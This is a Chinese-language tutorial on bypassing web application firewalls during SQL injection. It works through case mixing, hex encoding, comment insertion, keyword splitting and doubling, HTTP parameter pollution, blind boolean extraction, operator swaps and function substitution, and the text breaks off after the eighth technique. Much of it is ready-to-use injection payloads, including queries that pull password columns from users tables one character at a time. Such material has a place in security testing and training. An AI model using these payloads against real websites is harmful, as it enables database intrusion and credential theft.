SQL注入中的WAF绕过技术
作者:bystander 博客:http://leaver.me 论坛:法克论坛 目录 1.大小写绕过 2.简单编码绕过 3.注释绕过 4.分隔重写绕过 5.Http参数污染(HPP) 6.使用逻辑运算符 or /and绕过 7.比较操作符替换 8.同功能函数替换 9.盲注无需or和and 10.加括号 11.缓冲区溢出绕过 1. 大小写绕过 这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union UnIoN等等。绕过 2. 简单编码绕过 比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用%55 也就是U的16进制编码来代替U, union写成 %55nION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以。。 也还有大家在Mysql注入中比如表名或是load文件的时候,会把文件名或是表明用16进制编码来绕过WAF都是属于这类。 3. 注释绕过 这种情况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询 > /?id=1+union+select+1,2,3/* 比如对于上面这条查询,WAF过滤了一次union和select,那么我们在之前在写一个注释的语句,让他把注释里面的过滤掉,,并不影响我们的查询。。 所以绕过语句就是: > /?id=1/*union*/union/*select*/select+1,2,3/* 还有一种和注释有关的绕过: 比如 > index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…. 可以看到,只要我们把敏感词放到注释里面,注意,前面要加一个! 4. 分隔重写绕过 还是上面的例子,适用于那种WAF采用了正则表达式的情况,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。。 我们可以通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果 > /?id=1+un/**/ion+sel/**/ect+1,2,3-- 至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了 > ?id=1 ununionion select 1,2,3-- 5. Http参数污染(HPP) 比如我们有这样的语句: > /?id=1 union select+1,2,3+from+users+where+id=1-- 我们可以重复一次前面的id值添加我们的值来绕过,&id=会在查询时变成逗号 > /?id=1 union select+1&id=2,3+from+users+where+id=1-- 这种情况成功的条件比较多,取决于具体的WAF实现。。 再给出一个例子说明用法 > /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users-- 具体分析的话就涉及到查询语句的后台代码的编写了。 比如服务器是这样写的: > select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c']; 那我们可以构造这样的注入语句: > /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- 最终解析为: > select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users-- 可以看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。但是也可以一试。 6. 使用逻辑运算符 or /and绕过 > /?id=1+OR+0x50=0x50 > /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 顺便解释一下第二句话,从最里面的括号开始分析,select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录,比如是admin, 然后mid(上一句),1,1就是取admin的第一个字符,也就是a, lower(上一句)就是把字符转换为小写, 然后ascii就是把a转换成ascii码,看等不等于74. 7. 比较操作符替换 包括!= 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=来绕过, 比如上一个例子,要判断是不是74,假设=被过滤,那么我们可以判断是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都会忘了这个。 8. 同功能函数替换 Substring()可以用mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。 Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换 Benchmark() 可以用sleep()来替换,这两个使用在基于延时的盲注中,有机会给大家介绍 如果连这些都屏蔽了,还有一种新的方法 ...